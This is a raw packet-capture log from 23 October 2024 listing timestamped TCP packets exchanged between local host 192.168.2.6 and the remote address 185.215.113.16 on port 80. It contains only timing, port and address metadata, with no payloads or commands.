Oct 23, 2024 17:51:25.183645964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.183657885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.183664083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.183777094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184310913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184333086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184345007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184369087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184417963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184431076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184442997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184446096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184454918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184479952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184567928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184580088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184592009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184593916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184604883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184618950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184629917 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184631109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184644938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184657097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184658051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184672117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184675932 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184700966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184746981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184822083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184911966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184925079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184936047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184947968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184962034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184962034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184974909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.184986115 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.184988976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185002089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185014009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185026884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185028076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185039043 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185065985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185079098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185092926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185095072 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185106039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185117960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185122013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185148001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185173035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185174942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185189009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185236931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185236931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185266972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185282946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185293913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185329914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185343981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185357094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.185360909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185395956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.185395956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.212778091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212821007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212843895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212857008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212869883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212884903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.212898016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212909937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212924004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212924957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.212934971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.212949038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.212966919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.213270903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.213304043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.213318110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.213510036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254374981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254395962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254417896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254431963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254443884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254446030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254457951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254467964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254481077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254494905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254507065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254507065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254519939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254542112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254544020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254554987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254565954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254566908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254579067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254591942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254596949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254601955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254604101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254621029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.254647017 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.254756927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.296271086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.296293974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.296304941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.296353102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.296363115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.296382904 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.296478987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.296489000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.296506882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.296672106 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.300774097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.300787926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.300801039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.300831079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.300884962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.300931931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.300956011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.300971985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.300992012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301009893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301017046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301019907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301057100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301057100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301228046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301270962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301281929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301326036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301337957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301351070 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301352024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301366091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301378012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301378965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301398039 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301493883 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301604033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301667929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301678896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301713943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301726103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301740885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301789045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301816940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301843882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301948071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301959991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301974058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301974058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.301986933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.301999092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302000999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302015066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302025080 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302042961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302069902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302082062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302093029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302104950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302131891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302222967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302326918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302337885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302350044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302361965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302371979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302385092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302390099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302397966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302407980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302409887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302437067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302514076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302606106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302614927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302633047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302661896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302674055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302685022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302691936 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302714109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302736044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302736044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302778006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.302896023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.302901030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.306493998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.306508064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.306520939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.306531906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.306632996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.330452919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330467939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330482006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330549002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330552101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.330552101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.330562115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330576897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330589056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330601931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330601931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.330622911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.330631971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330667019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330678940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.330693960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.330744982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.374334097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374349117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374362946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374372959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374385118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374396086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374417067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374418020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.374429941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374447107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374455929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.374460936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374473095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.374475002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374489069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374501944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374504089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.374525070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374526978 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.374540091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374552011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.374667883 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.413870096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.413885117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.413897038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.413916111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.413928032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.413939953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.413944960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.413996935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.413996935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418277025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418375969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418385983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418396950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418426037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418438911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418452024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418467045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418469906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418484926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418493986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418497086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418509007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418519974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418529987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418533087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418559074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418612957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418641090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418661118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418732882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418742895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418755054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418768883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418798923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418806076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418807030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418807030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418869972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418880939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418885946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.418936968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.418936968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419027090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419087887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419100046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419128895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419141054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419152975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419154882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419178963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419317961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419331074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419344902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419346094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419372082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419398069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419420958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419431925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419442892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419455051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419467926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419490099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419502020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419512987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419514894 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419537067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419749975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419761896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419775009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419785023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419799089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419810057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419816971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419827938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419838905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419840097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419840097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419868946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419872999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419913054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419924021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419938087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.419965029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.419990063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.420058012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420072079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420084000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420095921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420109987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.420134068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420160055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.420165062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420176983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420202017 CEST	49763	80	192.168.2.6	185.215.113.16
